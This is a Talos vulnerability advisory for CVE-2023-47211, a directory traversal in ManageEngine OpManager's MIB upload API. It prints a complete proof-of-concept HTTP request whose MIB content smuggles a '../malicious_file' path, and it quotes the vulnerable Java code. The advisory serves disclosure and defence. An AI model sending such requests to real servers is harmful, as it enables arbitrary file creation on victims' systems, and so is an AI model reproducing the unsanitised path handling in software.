Talos Vulnerability Report

TALOS-2023-1851

ManageEngine OpManager uploadMib directory traversal vulnerability

January 8, 2024
CVE Number

CVE-2023-47211

SUMMARY

A directory traversal vulnerability exists in the uploadMib functionality of ManageEngine OpManager 12.7.258. A specially crafted HTTP request can lead to arbitrary file creation. An attacker can send a malicious MiB file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

ManageEngine OpManager 12.7.258

PRODUCT URLS

OpManager - https://www.manageengine.com/network-monitoring/

CVSSv3 SCORE

9.1 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

DETAILS

OpManager is a network management solution that gathers hardware and software information of computers and other devices on a computer network for management, compliance and audit purposes.

An exploitable directory traversal vulnerability exists in relation to MiB file upload action. Specifically, when navigating to Settings -> Tools -> MiB Browser and selecting Upload MiB, the following API call is performed:

POST /client/api/json/mibbrowser/uploadMib HTTP/1.1
Host: desktop-q1n26jm:8060
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-ZCSRF-TOKEN: opmcsrftoken=a1affd4f119e6801bdb58f5eba836fe2bc7d021771251e10279311c1373887da9a260b18c107946768f95026696995e2bdd4a1306edf0f1d1e1eb834d36adb52
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------32931620869889964872886226
Content-Length: 795
Origin: http://desktop-q1n26jm:8060
Connection: close


-----------------------------32931620869889964872886226
Content-Disposition: form-data; name="mibFile"; filename="magic.txt"
Content-Type: text/plain

../malicious_file DEFINITIONS ::= BEGIN


IMPORTS
    enterprises
        FROM RFC1155-SMI;

microsoft       OBJECT IDENTIFIER ::= { enterprises 311 }
software        OBJECT IDENTIFIER ::= { microsoft 1 }
systems         OBJECT IDENTIFIER ::= { software 1 }
os              OBJECT IDENTIFIER ::= { systems 3 }
windowsNT       OBJECT IDENTIFIER ::= { os 1 }
windows         OBJECT IDENTIFIER ::= { os 2 }
workstation     OBJECT IDENTIFIER ::= { windowsNT 1 }
server          OBJECT IDENTIFIER ::= { windowsNT 2 }
dc              OBJECT IDENTIFIER ::= { windowsNT 3 }

END
-----------------------------32931620869889964872886226--

Using this API, an attacker is able to send a malicious MiB file to the server. Looking at vulnerable code:

com.adventnet.me.opmanager.server.api.MibBrowserApiUtil

public void uploadMib(APIRequestParams params, HttpServletRequest request, HttpServletResponse response) throws Exception {
    Properties uploadedMibFileStatus = this.mib.uploadMib(request);
(...)

Line 1478    public Properties uploadMib(HttpServletRequest request) {
Line 1479        String fextension;
Line 1480        Properties toReturn = new Properties();
Line 1481        try {
Line 1482            boolean isMultipart = ServletFileUpload.isMultipartContent(request);
Line 1483            if (isMultipart) {
Line 1484                SecurityRequestWrapper secureRequest = SecurityRequestWrapper.getInstance(request);
Line 1485                ITOMSecurityRequestWrapper isrWrapper = new ITOMSecurityRequestWrapper(secureRequest);
Line 1486                UploadedFileItem uploadedFileItem = isrWrapper.getMultipartParameter("mibFile");
Line 1487                if (uploadedFileItem != null) {
Line 1488                    String uploadedFileName = uploadedFileItem.getFileName();
Line 1489                    File f = uploadedFileItem.getUploadedFile();
Line 1490                    InputStream is = new FileInputStream(f);
Line 1491                    String fileName = NmsUtil.MIBDIR + uploadedFileName;
Line 1492                    File logoFile = new File(fileName);
Line 1493                    String mibFileLoc = new File(logoFile.getCanonicalPath()).getParent();
Line 1494                    String filename = logoFile.getName().toLowerCase();
Line 1495                    if (filename.endsWith(".txt") || filename.endsWith(".mib") || filename.endsWith(".my") || filename.endsWith(".mi2") || AvailabilityReportConstants.NONE.equals(FilenameUtils.getExtension(logoFile.getName()))) {
Line 1496                        InputStream is_temp = new FileInputStream(f);
Line 1497                        BufferedReader br = new BufferedReader(new InputStreamReader(is_temp, SMSConstants.UTF_8));
Line 1498                        String orgMibName = null;
Line 1499                        while (true) {
Line 1500                            String line = br.readLine();
Line 1501                            if (line != null) {
Line 1502                                if (line.contains("DEFINITIONS ::= BEGIN")) {
Line 1503                                    orgMibName = line.split("DEFINITIONS")[0].trim();
Line 1504                                    break;
Line 1505                                }
Line 1506                            } else {
Line 1507                                break;
Line 1508                            }
Line 1509                        }
Line 1510                        if (orgMibName == null) {
Line 1511                            logger.log(Level.WARNING, "Error:: DEFINITIONS text is missing in " + uploadedFileName);
Line 1512                            toReturn.put("error", NmsUtil.GetString("webclient.tools.mibbrowser.upload.fail"));
Line 1513                            return toReturn;
Line 1514                        }
Line 1515                        logger.log(Level.WARNING, "Original Mibs name " + orgMibName);
Line 1516                        if (XSSUtil.detectXSS(orgMibName)) {
Line 1517                            logger.log(Level.WARNING, "Import MIB is not added in OpUtils Since XSS input found in One of the param value :" + orgMibName);
Line 1518                            toReturn.put("error", NmsUtil.GetString("webclient.tools.mibbrowser.upload.fail"));
Line 1519                            return toReturn;
Line 1520                        }
Line 1521                        String fextension2 = FilenameUtils.getExtension(filename);
Line 1522                        if (fextension2 == null && AvailabilityReportConstants.NONE.equals(fextension2)) {
Line 1523                            fextension = AvailabilityReportConstants.NONE;
Line 1524                        } else {
Line 1525                            fextension = "." + fextension2;
Line 1526                        }
Line 1527                        File importedFile = new File(mibFileLoc + File.separator + getFileNameWithDate(fextension));
Line 1528                        OpManagerLogger.printLog(4, " MIB file with date " + importedFile.getCanonicalPath());
Line 1529                        OutputStream out = new FileOutputStream(importedFile);
Line 1530                        while (true) {
Line 1531                            int c = is.read();
Line 1532                            if (c == -1) {
Line 1533                                break;
Line 1534                            }
Line 1535                            out.write(c);
Line 1536                        }
Line 1537                        out.flush();
Line 1538                        out.close();
Line 1539                        File destFile = new File(mibFileLoc + File.separator + orgMibName + fextension);
Line 1540                        if (destFile.exists()) {
Line 1541                            toReturn.put("error", NmsUtil.GetString("webclient.tools.mibbrowser.file.exists"));
Line 1542                            importedFile.delete();
Line 1543                        } else {
Line 1544                            CommonUtil.copyFile(importedFile, destFile, 10000);
Line 1545    

As we can see in line 1503 orgMibName variable is set based on a part of the uploaded MiB file content, which in our case equals ../malicious_file. Tracking down usage of this variable, we can see that it is used as a part of destination file name/path line 1539. Following orgMibName variable from the initialization to its usage at line 1539, we dont see any sanitization checks in a context of directory traversal. That gives an attacker the possibility to create file in any location outside mibs ( default MiBs files location) directory. The only constraint an attacker needs to deal with is file extension, which needs to be set to one of those checked at line 1495.

VENDOR RESPONSE

Vendor advisory: https://www.manageengine.com/itom/advisory/cve-2023-47211.html

TIMELINE

2023-11-14 - Vendor Disclosure
2023-12-11 - Vendor Patch Release
2024-01-08 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.